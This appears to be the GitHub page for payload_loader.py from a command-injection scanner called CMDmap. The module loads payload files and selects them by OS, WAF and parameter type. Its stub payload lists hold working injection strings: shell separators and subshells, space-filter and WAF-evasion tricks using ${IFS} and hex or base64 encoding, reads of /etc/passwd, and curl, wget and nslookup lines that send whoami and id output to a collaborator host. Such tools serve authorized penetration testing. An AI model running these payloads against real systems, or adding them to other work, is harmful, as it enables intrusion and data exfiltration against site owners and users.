-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathpayload_loader.py
More file actions
811 lines (676 loc) · 23.1 KB
/
Copy pathpayload_loader.py
File metadata and controls
811 lines (676 loc) · 23.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
"""
payload_loader.py — CMDmap External Payload Dispatcher
Loads payload files from payloads/ directory and dispatches
based on runtime context signals (OS, WAF, filters, param class).
File format (plain text, one payload per line):
# comment lines ignored
# @tags: linux, space_filter, waf_cloudflare
# @tier: 2
# @signal: system:linux_id
# @blind: false
<payload string>
Loader returns list of tuples matching CMDmap's PAYLOADS format:
(payload_str, label, signal, is_blind, os_target)
"""
import os
import re
from pathlib import Path
from typing import Optional
# ─────────────────────────────────────────────────────────────────────────────
# PAYLOAD FILE FORMAT
# ─────────────────────────────────────────────────────────────────────────────
# Each .txt file in payloads/ follows this structure:
#
# # File-level defaults (apply to all payloads below unless overridden)
# # @default_os: linux (linux | windows | both)
# # @default_signal: system:linux_id
# # @default_blind: false
# # @default_tier: 1
#
# # Individual payload block (overrides file defaults)
# # @label: Semicolon id
# # @signal: system:linux_id
# # @blind: false
# # @os: linux
# ;id
#
# # Next payload (inherits file defaults if no block header)
# ;whoami
#
# Rules:
# - Blank lines between payloads are ignored
# - Lines starting with # are metadata or comments
# - A payload is any non-empty, non-comment line
# - Block headers MUST immediately precede their payload (no blank line between)
# - File defaults in header block MUST appear before first payload
_META_LINE = re.compile(r'^#\s*@(\w+):\s*(.+)$')
_COMMENT = re.compile(r'^#')
_BLANK = re.compile(r'^\s*$')
def _parse_payload_file(path: Path) -> list:
"""
Parse a payload .txt file and return list of
(payload, label, signal, is_blind, os_target) tuples.
"""
results = []
file_defaults = {
"os": "linux",
"signal": "system:linux_id",
"blind": False,
"tier": 1,
"label": None,
}
lines = path.read_text(encoding="utf-8", errors="replace").splitlines()
# Pass 1: collect file-level defaults from leading header block
for line in lines:
if _BLANK.match(line):
continue
m = _META_LINE.match(line)
if m:
key, val = m.group(1).lower(), m.group(2).strip()
if key == "default_os":
file_defaults["os"] = val.lower()
elif key == "default_signal":
file_defaults["signal"] = val
elif key == "default_blind":
file_defaults["blind"] = val.lower() in ("true", "1", "yes")
elif key == "default_tier":
file_defaults["tier"] = int(val)
else:
# First non-meta, non-blank line = end of header block
break
# Pass 2: parse payload blocks
current_meta = {}
for line in lines:
if _BLANK.match(line):
# Blank line resets per-block metadata
current_meta = {}
continue
m = _META_LINE.match(line)
if m:
key, val = m.group(1).lower(), m.group(2).strip()
if key == "label":
current_meta["label"] = val
elif key == "signal":
current_meta["signal"] = val
elif key in ("blind", "timed"):
current_meta["blind"] = val.lower() in ("true", "1", "yes")
elif key == "os":
current_meta["os"] = val.lower()
# Skip default_* and tier in per-block — file-level only
continue
if _COMMENT.match(line):
# Pure comment (not @meta) — ignored
continue
# It's a payload line
payload = line.rstrip("\n")
os_t = current_meta.get("os", file_defaults["os"])
signal = current_meta.get("signal", file_defaults["signal"])
blind = current_meta.get("blind", file_defaults["blind"])
label = current_meta.get("label")
if label is None:
# Auto-generate label from file stem + first 20 chars of payload
stem = path.stem.replace("_", " ")
label = f"{stem}: {payload[:20]}"
# Expand "both" OS into two entries
if os_t == "both":
results.append((payload, label, signal, blind, "linux"))
results.append((payload, label + " [win]", signal, blind, "windows"))
else:
results.append((payload, label, signal, blind, os_t))
# Reset per-block meta after consuming the payload
current_meta = {}
return results
# ─────────────────────────────────────────────────────────────────────────────
# PAYLOAD DIRECTORY LAYOUT
# ─────────────────────────────────────────────────────────────────────────────
#
# payloads/
# ├── core/ — always loaded (base detection layer)
# │ ├── linux_direct.txt
# │ ├── windows_direct.txt
# │ └── context_escape.txt
# ├── bypass/ — loaded when filter signals detected
# │ ├── space_bypass.txt → filter: no_space
# │ ├── waf_evasion.txt → filter: waf / waf_block
# │ ├── encoding_chains.txt → filter: base64 / hex / double_url
# │ └── ansi_brace.txt → filter: no_semicolon (or always in Tier5)
# ├── oob/ — loaded when --collab flag active
# │ ├── dns_exfil.txt
# │ └── http_exfil.txt
# ├── context/ — loaded by param risk class / path hint
# │ ├── file_params.txt → param name matches file/path/dir
# │ ├── network_params.txt → param name matches host/ip/target/ping
# │ └── exec_params.txt → param name matches cmd/exec/run/shell
# └── custom/ — user-supplied, never touched by updates
# └── *.txt (all loaded unconditionally as Tier 5 extension)
_PAYLOAD_DIR = Path(__file__).parent / "payloads"
# Dispatch table: maps context key → subdirectory/file glob
# context keys are produced by the runtime context builder below
_DISPATCH = {
# Always
"core_linux": ("core", "linux_direct.txt"),
"core_windows": ("core", "windows_direct.txt"),
"core_escape": ("core", "context_escape.txt"),
# Filter-triggered bypass
"filter_no_space": ("bypass", "space_bypass.txt"),
"filter_waf": ("bypass", "waf_evasion.txt"),
"filter_encoding": ("bypass", "encoding_chains.txt"),
"filter_separator": ("bypass", "ansi_brace.txt"),
# OOB
"oob_dns": ("oob", "dns_exfil.txt"),
"oob_http": ("oob", "http_exfil.txt"),
# Context-specific
"ctx_file": ("context", "file_params.txt"),
"ctx_network": ("context", "network_params.txt"),
"ctx_exec": ("context", "exec_params.txt"),
}
_PARAM_NETWORK = re.compile(r'\b(?:host|ip|addr|address|target|ping|dns|resolve|lookup|scan)\b', re.I)
_PARAM_FILE = re.compile(r'\b(?:file|path|dir|folder|src|source|dest|log|name|upload|download|read|include)\b', re.I)
_PARAM_EXEC = re.compile(r'\b(?:cmd|command|exec|execute|run|shell|script|proc|process|eval)\b', re.I)
def build_context_keys(
os_target: str,
run_both: bool,
active_filters: set,
collab_url: Optional[str],
param_names: list,
) -> list:
"""
Determine which payload files to load based on runtime signals.
Args:
os_target: 'linux' | 'windows'
run_both: True if OS confidence is low (load both)
active_filters: set of filter labels from AdaptiveBypass.detect_filters()
collab_url: collaborator URL if --collab was passed
param_names: list of param names being tested (for context dispatch)
Returns:
Ordered list of dispatch keys (see _DISPATCH table above)
"""
keys = []
# Core — always
if os_target == "linux" or run_both:
keys.append("core_linux")
keys.append("core_escape")
if os_target == "windows" or run_both:
keys.append("core_windows")
# Filter-triggered bypass
if "no_space" in active_filters or "waf" in active_filters:
keys.append("filter_no_space")
if "waf" in active_filters or "waf_block" in active_filters:
keys.append("filter_waf")
if any(f in active_filters for f in ("base64", "hex", "double_url")):
keys.append("filter_encoding")
if "no_semicolon" in active_filters:
keys.append("filter_separator")
# OOB
if collab_url:
keys.append("oob_dns")
keys.append("oob_http")
# Context from param names
for p in param_names:
if _PARAM_NETWORK.search(p) and "ctx_network" not in keys:
keys.append("ctx_network")
if _PARAM_FILE.search(p) and "ctx_file" not in keys:
keys.append("ctx_file")
if _PARAM_EXEC.search(p) and "ctx_exec" not in keys:
keys.append("ctx_exec")
return keys
class PayloadLoader:
"""
Loads external payload files and merges with the internal PAYLOADS list.
Usage:
loader = PayloadLoader(payload_dir=Path("payloads"))
extra = loader.load(context_keys)
all_payloads = PAYLOADS + extra
"""
def __init__(self, payload_dir: Optional[Path] = None):
self._dir = payload_dir or _PAYLOAD_DIR
self._cache: dict[Path, list] = {}
def _load_file(self, path: Path) -> list:
if not path.exists():
return []
if path not in self._cache:
try:
self._cache[path] = _parse_payload_file(path)
except Exception as e:
# Never crash the scanner on a bad payload file
self._cache[path] = []
return self._cache[path]
def load(self, context_keys: list) -> list:
"""
Load payloads for the given context keys.
Deduplicates by (payload_str, os_target) to avoid redundant requests.
Returns list of (payload, label, signal, blind, os) tuples.
"""
seen = set()
results = []
for key in context_keys:
entry = _DISPATCH.get(key)
if not entry:
continue
subdir, filename = entry
path = self._dir / subdir / filename
for item in self._load_file(path):
dedup_key = (item[0], item[4]) # (payload_str, os_target)
if dedup_key not in seen:
seen.add(dedup_key)
results.append(item)
# Always load custom/ — all .txt files, no dispatch key needed
custom_dir = self._dir / "custom"
if custom_dir.is_dir():
for txt in sorted(custom_dir.glob("*.txt")):
for item in self._load_file(txt):
dedup_key = (item[0], item[4])
if dedup_key not in seen:
seen.add(dedup_key)
results.append(item)
return results
def stats(self, context_keys: list) -> dict:
"""Return a summary of how many payloads would be loaded per key."""
out = {}
for key in context_keys:
entry = _DISPATCH.get(key)
if not entry:
out[key] = 0
continue
subdir, filename = entry
path = self._dir / subdir / filename
out[key] = len(self._load_file(path))
custom_dir = self._dir / "custom"
custom_count = 0
if custom_dir.is_dir():
for txt in custom_dir.glob("*.txt"):
custom_count += len(self._load_file(txt))
out["custom"] = custom_count
return out
def create_scaffold(self):
"""
Create the payloads/ directory scaffold with stub files.
Called by --init-payloads flag. Never overwrites existing files.
"""
_SUBDIRS = ["core", "bypass", "oob", "context", "custom"]
_STUBS = {
"core/linux_direct.txt": _STUB_LINUX_DIRECT,
"core/windows_direct.txt": _STUB_WINDOWS_DIRECT,
"core/context_escape.txt": _STUB_CONTEXT_ESCAPE,
"bypass/space_bypass.txt": _STUB_SPACE_BYPASS,
"bypass/waf_evasion.txt": _STUB_WAF_EVASION,
"bypass/encoding_chains.txt": _STUB_ENCODING_CHAINS,
"bypass/ansi_brace.txt": _STUB_ANSI_BRACE,
"oob/dns_exfil.txt": _STUB_DNS_EXFIL,
"oob/http_exfil.txt": _STUB_HTTP_EXFIL,
"context/file_params.txt": _STUB_FILE_PARAMS,
"context/network_params.txt": _STUB_NETWORK_PARAMS,
"context/exec_params.txt": _STUB_EXEC_PARAMS,
"custom/README.txt": _STUB_CUSTOM_README,
}
for sub in _SUBDIRS:
(self._dir / sub).mkdir(parents=True, exist_ok=True)
created = []
for rel, content in _STUBS.items():
p = self._dir / rel
if not p.exists():
p.write_text(content, encoding="utf-8")
created.append(str(p))
return created
# ─────────────────────────────────────────────────────────────────────────────
# STUB FILE CONTENT
# ─────────────────────────────────────────────────────────────────────────────
_STUB_LINUX_DIRECT = """\
# @default_os: linux
# @default_signal: system:linux_id
# @default_blind: false
# @default_tier: 1
#
# Extended Linux direct-output payloads.
# Add one payload per line. Use @label/@signal/@blind/@os to annotate blocks.
# Lines beginning with # are ignored.
# @label: Semicolon id (extended)
# @signal: system:linux_id
;id
# @label: OR-separator id
# @signal: system:linux_id
||id
# @label: Pipe id no space
# @signal: system:linux_id
|id
# @label: Subshell id
# @signal: system:linux_id
$(id)
# @label: Backtick id
# @signal: system:linux_id
`id`
# @label: Semicolon whoami
# @signal: system:linux_user
;whoami
# @label: Subshell whoami
# @signal: system:linux_user
$(whoami)
# @label: Uname kernel
# @signal: system:linux_uname
;uname -a
# @label: Newline id
# @signal: system:linux_id
%0aid
# @label: CRLF id
# @signal: system:linux_id
%0d%0aid
"""
_STUB_WINDOWS_DIRECT = """\
# @default_os: windows
# @default_signal: system:win_user
# @default_blind: false
# @default_tier: 1
# @label: Ampersand whoami
&whoami
# @label: Pipe whoami
|whoami
# @label: Cmd /c whoami
# @signal: system:win_user
&cmd /c whoami
# @label: PowerShell whoami
# @signal: system:win_user
|powershell -NoP -NonI -W Hidden whoami
# @label: PowerShell encoded whoami
# @signal: system:win_user
# Note: d2hvYW1p = base64("whoami")
|powershell -enc d2hvYW1p
# @label: Win ver
# @signal: system:win_ver
&ver
"""
_STUB_CONTEXT_ESCAPE = """\
# @default_os: linux
# @default_signal: system:linux_id
# @default_blind: false
# @default_tier: 1
#
# Quote-context and argument injection escapes.
# @label: Single-quote escape id
';id;'
# @label: Double-quote escape id
";id;"
# @label: Quote-escape whoami
# @signal: system:linux_user
';whoami;'
# @label: DQ-escape whoami
# @signal: system:linux_user
";whoami;"
# @label: Mid-value backtick id
x`id`y
# @label: Mid-value subshell id
x$(id)y
# @label: Tar flag inject id
# @signal: system:linux_id
--use-compress-program=id
# @label: Arg inject --exec
--exec=id
# @label: Arg inject -e flag
-e id
"""
_STUB_SPACE_BYPASS = """\
# @default_os: linux
# @default_signal: system:linux_id
# @default_blind: false
# @default_tier: 5
#
# Space-filter bypass payloads.
# Triggered when filter: no_space detected in error response.
# Technique: replace spaces with ${IFS}, tab (\\t), or brace expansion.
# @label: IFS id
;${IFS}id
# @label: IFS whoami
# @signal: system:linux_user
;${IFS}whoami
# @label: Tab id
# @blind: false
; id
# @label: Brace exec id (no space)
# @signal: system:linux_id
;{id,}
# @label: Brace cat passwd (no space)
# @signal: linux_passwd
;{cat,/etc/passwd}
# @label: IFS sleep 10
# @signal: time
# @blind: true
;${IFS}sleep${IFS}10
# @label: IFS uname
# @signal: system:linux_uname
;${IFS}uname${IFS}-a
"""
_STUB_WAF_EVASION = """\
# @default_os: linux
# @default_signal: time
# @default_blind: true
# @default_tier: 5
#
# WAF evasion payloads.
# Triggered when waf/waf_block filter detected.
# Primarily timing-based (non-keyword). dd bypass avoids sleep/ping.
# @label: dd tab delay 50MB
# @blind: true
# @signal: time
;dd\tif=/dev/zero\tbs=1M\tcount=50
# @label: dd IFS delay 50MB
# @blind: true
# @signal: time
;dd${IFS}if=/dev/zero${IFS}bs=1M${IFS}count=50
# @label: ANSI-C hex id
# @signal: system:linux_id
# @blind: false
;$'\\x69\\x64'
# @label: ANSI-C hex whoami
# @signal: system:linux_user
# @blind: false
;$'\\x77\\x68\\x6f\\x61\\x6d\\x69'
# @label: ANSI-C hex sleep 10
# @signal: time
# @blind: true
;$'\\x73\\x6c\\x65\\x65\\x70'${IFS}10
# @label: Var concat id bypass
# @signal: system:linux_id
# @blind: false
;i$()d
# @label: Env var execution
# @signal: system:linux_id
;a=id;$a
"""
_STUB_ENCODING_CHAINS = """\
# @default_os: linux
# @default_signal: system:linux_id
# @default_blind: false
# @default_tier: 5
#
# Encoding chain payloads.
# Triggered when base64/hex/double_url filters detected.
# These assume the server pre-decodes param values before passing to shell.
# The injector's _detect_input_encoding() result should gate these.
# @label: B64 wrap: echo b64|base64 -d|sh (id)
# Note: payload below = ;echo aWQ=|base64 -d|sh
;echo aWQ=|base64 -d|sh
# @label: B64 wrap: echo b64|base64 -d|sh (whoami)
# @signal: system:linux_user
;echo d2hvYW1p|base64 -d|sh
# @label: B64 wrap sleep 10
# @signal: time
# @blind: true
;echo c2xlZXAgMTA=|base64 -d|sh
# @label: Double-URL newline id
# @signal: system:linux_id
%250aid
# @label: Double-URL pipe id
# @signal: system:linux_id
%257Cid
# @label: Hex printf id
;printf '\\x69\\x64'|sh
# @label: Hex printf whoami
# @signal: system:linux_user
;printf '\\x77\\x68\\x6f\\x61\\x6d\\x69'|sh
"""
_STUB_ANSI_BRACE = """\
# @default_os: linux
# @default_signal: system:linux_id
# @default_blind: false
# @default_tier: 5
#
# ANSI-C quoting and brace expansion — no semicolon, no standard separators.
# Triggered when no_semicolon filter detected, or as general Tier 5 extension.
# @label: Brace exec id
{id,}
# @label: Pipe brace whoami
# @signal: system:linux_user
|{whoami,}
# @label: Subshell brace id
$({id,})
# @label: ANSI-C $'...' id
$'\\x69\\x64'
# @label: Newline brace id
%0a{id,}
# @label: OR brace whoami
# @signal: system:linux_user
||{whoami,}
"""
_STUB_DNS_EXFIL = """\
# @default_os: linux
# @default_signal: oob
# @default_blind: false
# @default_tier: 4
#
# DNS OOB exfiltration payloads.
# Loaded when --collab is set. COLLAB_HOST is substituted at runtime.
; nslookup COLLAB_HOST
| nslookup COLLAB_HOST
; nslookup `whoami`.COLLAB_HOST
| nslookup `id`.COLLAB_HOST
$(nslookup COLLAB_HOST)
`nslookup COLLAB_HOST`
# @label: dig OOB
; dig COLLAB_HOST
# @label: host OOB
; host COLLAB_HOST
"""
_STUB_HTTP_EXFIL = """\
# @default_os: linux
# @default_signal: oob
# @default_blind: false
# @default_tier: 4
#
# HTTP OOB exfiltration payloads.
# COLLAB_URL is substituted at runtime.
; curl -s COLLAB_URL
; wget -q COLLAB_URL
; curl -s COLLAB_URL/`whoami`
; curl -s COLLAB_URL/?x=`id`
$(curl -s COLLAB_URL)
# @label: curl with base64 id
; curl -s COLLAB_URL/$(id|base64 -w0)
# @label: wget whoami exfil
; wget -q -O /dev/null COLLAB_URL/`whoami`
"""
_STUB_FILE_PARAMS = """\
# @default_os: linux
# @default_signal: linux_passwd
# @default_blind: false
# @default_tier: 2
#
# Payloads for file/path/dir parameters.
# Loaded when param name matches file-related keywords.
# Combines CMDi with path traversal probe for double-coverage.
# @label: Cat passwd direct
;cat /etc/passwd
# @label: Cat passwd IFS
;cat${IFS}/etc/passwd
# @label: Cat passwd brace
;{cat,/etc/passwd}
# @label: Cat passwd b64 exfil
# @signal: system:linux_user
;cat /etc/passwd|base64 -w0
# @label: Tac passwd (reverse cat)
;tac /etc/passwd
# @label: Head passwd 1 line
;head -1 /etc/passwd
"""
_STUB_NETWORK_PARAMS = """\
# @default_os: linux
# @default_signal: system:linux_id
# @default_blind: false
# @default_tier: 2
#
# Payloads for host/ip/target/ping parameters.
# These are highest-probability CMDi sinks in network-facing apps.
# @label: Inline id after IP
127.0.0.1;id
# @label: Inline whoami after IP
# @signal: system:linux_user
127.0.0.1;whoami
# @label: Pipe id after IP
127.0.0.1|id
# @label: Subshell after IP
127.0.0.1$(id)
# @label: Newline id after IP
127.0.0.1%0aid
# @label: AND id after IP
127.0.0.1&&id
# @label: Sleep after IP
# @signal: time
# @blind: true
127.0.0.1;sleep 10
# @label: Win ping chain whoami
# @os: windows
# @signal: system:win_user
127.0.0.1&whoami
"""
_STUB_EXEC_PARAMS = """\
# @default_os: linux
# @default_signal: system:linux_id
# @default_blind: false
# @default_tier: 1
#
# Payloads for cmd/exec/run/shell/eval parameters.
# These are direct execution sinks — start with identity probes.
# @label: Direct id
id
# @label: Direct whoami
# @signal: system:linux_user
whoami
# @label: Direct sleep
# @signal: time
# @blind: true
sleep 10
# @label: Direct uname
# @signal: system:linux_uname
uname -a
# @label: Chained id after noop
noop;id
# @label: Win direct whoami
# @os: windows
# @signal: system:win_user
whoami
"""
_STUB_CUSTOM_README = """\
# CMDmap custom payload directory
# ────────────────────────────────────────────────────────────────
# Drop any .txt files here. They are loaded unconditionally as
# Tier 5 extensions and are NEVER overwritten by updates.
#
# File format — same as core/ files:
# # @label: My payload label
# # @signal: system:linux_id
# # @blind: false
# # @os: linux
# ;my_payload_here
#
# Valid @signal values:
# echo — token echo confirmation
# system:linux_id — uid=N(user) gid=N pattern
# system:linux_user — bare username output
# system:linux_uname — kernel version string
# system:win_user — domain\\user pattern
# system:win_ver — Microsoft Windows [Version ...]
# linux_passwd — /etc/passwd content
# win_ini — win.ini [fonts] section
# time — timing-based blind (set @blind: true)
# oob — OOB callback (needs --collab)
# oob_data — OOB with data exfil
# redirect:PATH — file redirect confirmation
"""